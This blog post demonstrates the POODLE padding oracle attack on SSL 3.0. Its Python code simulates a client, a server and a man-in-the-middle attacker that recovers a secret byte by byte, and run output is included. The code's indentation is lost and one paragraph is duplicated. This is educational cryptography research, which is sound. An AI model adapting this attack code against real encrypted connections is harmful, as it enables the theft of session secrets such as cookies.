This is a code which I wrote sometime back to demonstrate the padding oracle in POODLE vulnerability. Full details of the issue is explained in this original advisory This POODLE Bites: Exploiting The
SSL 3.0 Fallback.
Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
Client.encrypt depicts the client side encryption of attacker controlled data including the secret, Server.decrypt depicts the server decryption replying True of False for valid or invalid padding after modification by attacker. Attacker will act as man-in-the-middle
#!/usr/bin/python
import os
import struct
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA
ENCRYPT_KEY = ('0'*64).decode('hex')
SECRET = 'Y0u_Just_Pul1eD_Off_th3_P00DLE'
HMAC_SECRET = ''
BLOCK_SIZE = 16
HMAC_SIZE = 20
class Helper:
@staticmethod
def lsb(string): return ord(string[-1])
@staticmethod
def append_padding(string):
strlen = len(string)
# find the size of padding needed
padlen = BLOCK_SIZE-(strlen % BLOCK_SIZE) - 1
# last byte indicates the size of padding and rest of bytes are random
return os.urandom(padlen) + chr(padlen)
@staticmethod
def remove_padding(string):
# fetch last byte indicating padding
padlen = Helper.lsb(string)
# remove N padding bytes
return string[:-(padlen+1)]
@staticmethod
def compute_mac(string):
# 20 byte mac
mac = HMAC.new(HMAC_SECRET, msg=None, digestmod=SHA)
mac.update(string)
return mac.digest()
class Client:
# client secret to retrieve using POODLE
secret = SECRET
@staticmethod
def encrypt(prefix = "", suffix = ""):
# attacker controlled prefix and suffix
client = prefix + Client.secret + suffix
# compute mac for client data
client += Helper.compute_mac(client)
# padding added after mac calculation
client += Helper.append_padding(client)
IV = os.urandom(16)
# AES encrypt
aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
return IV + aes.encrypt(client)
class Server:
@staticmethod
def decrypt(string):
try:
IV = string[:BLOCK_SIZE]
aes = AES.new(ENCRYPT_KEY, AES.MODE_CBC, IV)
# decrypt
server = aes.decrypt(string[BLOCK_SIZE:])
# remove padding
server = Helper.remove_padding(server)
# fetch plain text
plain = server[:-HMAC_SIZE]
# fetch mac
mac = server[-HMAC_SIZE:]
# check if received mac equals computed mac
if mac == Helper.compute_mac(plain): return True
else: return False
except: return False
class Attacker:
@staticmethod
def getsecretsize():
# set reference length for boundary check
baselen = len(Client.encrypt())
for s in range(1, BLOCK_SIZE+1):
prefix = chr(0x42) * s
trial = len(Client.encrypt(prefix))
# check if the block boundary is crossed
if trial > baselen: break
return baselen - BLOCK_SIZE - HMAC_SIZE - s
@staticmethod
def paddingoracle():
secret = ""
# find length of secret
secretlength = Attacker.getsecretsize()
# for each unknown byte in secret
for c in range(1, secretlength+1):
trial = 0
# bruteforce until valid padding
while True:
# align prefix such that first unknown byte is the last byte of a block
prefix = chr(0x42) * (BLOCK_SIZE - (c % BLOCK_SIZE))
# align to block size boundary by padding suffix
suffix = chr(0x43) * (BLOCK_SIZE - (len(prefix) + secretlength + HMAC_SIZE) % BLOCK_SIZE)
# intercept and get client request
clientreq = Client.encrypt(prefix, suffix)
# remove padding bytes
clientreq = clientreq[:-BLOCK_SIZE]
blockindex = c/BLOCK_SIZE
# fetch the hash block
hashblock = clientreq[-BLOCK_SIZE:]
# block to decrypt
currblock = clientreq[BLOCK_SIZE*(blockindex+1):BLOCK_SIZE*(blockindex+2)]
# block previous to decryption block
prevblock = clientreq[BLOCK_SIZE*blockindex: BLOCK_SIZE*(blockindex+1)]
# prepare payload
payload = clientreq + currblock
trial += 1
# send modified request to server and check server response
if Server.decrypt(payload):
# on valid padding
s = chr(0xf ^ Helper.lsb(prevblock) ^ Helper.lsb(hashblock))
secret += s
print "Byte[%02d] = %s recovered in %04d tries = %s"%(c,s,trial,secret)
break
return secret
Calling the Attacker.paddingoracle will retrieve the secret using padding oracle attack.
renorobert@ubuntu:~$ python Poodle.py Byte[01] = Y recovered in 0245 tries = Y Byte[02] = 0 recovered in 0645 tries = Y0 Byte[03] = u recovered in 0029 tries = Y0u Byte[04] = _ recovered in 0182 tries = Y0u_ Byte[05] = J recovered in 0077 tries = Y0u_J Byte[06] = u recovered in 0042 tries = Y0u_Ju Byte[07] = s recovered in 0304 tries = Y0u_Jus Byte[08] = t recovered in 0302 tries = Y0u_Just Byte[09] = _ recovered in 0554 tries = Y0u_Just_ Byte[10] = P recovered in 0108 tries = Y0u_Just_P Byte[11] = u recovered in 0012 tries = Y0u_Just_Pu Byte[12] = l recovered in 0043 tries = Y0u_Just_Pul Byte[13] = 1 recovered in 0101 tries = Y0u_Just_Pul1 Byte[14] = e recovered in 0086 tries = Y0u_Just_Pul1e Byte[15] = D recovered in 0007 tries = Y0u_Just_Pul1eD Byte[16] = _ recovered in 0376 tries = Y0u_Just_Pul1eD_ Byte[17] = O recovered in 0290 tries = Y0u_Just_Pul1eD_O Byte[18] = f recovered in 0071 tries = Y0u_Just_Pul1eD_Of Byte[19] = f recovered in 0238 tries = Y0u_Just_Pul1eD_Off Byte[20] = _ recovered in 0067 tries = Y0u_Just_Pul1eD_Off_ Byte[21] = t recovered in 0433 tries = Y0u_Just_Pul1eD_Off_t Byte[22] = h recovered in 0097 tries = Y0u_Just_Pul1eD_Off_th Byte[23] = 3 recovered in 0216 tries = Y0u_Just_Pul1eD_Off_th3 Byte[24] = _ recovered in 0029 tries = Y0u_Just_Pul1eD_Off_th3_ Byte[25] = P recovered in 0661 tries = Y0u_Just_Pul1eD_Off_th3_P Byte[26] = 0 recovered in 0917 tries = Y0u_Just_Pul1eD_Off_th3_P0 Byte[27] = 0 recovered in 0067 tries = Y0u_Just_Pul1eD_Off_th3_P00 Byte[28] = D recovered in 0180 tries = Y0u_Just_Pul1eD_Off_th3_P00D Byte[29] = L recovered in 0018 tries = Y0u_Just_Pul1eD_Off_th3_P00DL Byte[30] = E recovered in 0127 tries = Y0u_Just_Pul1eD_Off_th3_P00DLE Y0u_Just_Pul1eD_Off_th3_P00DLE
No comments :
Post a Comment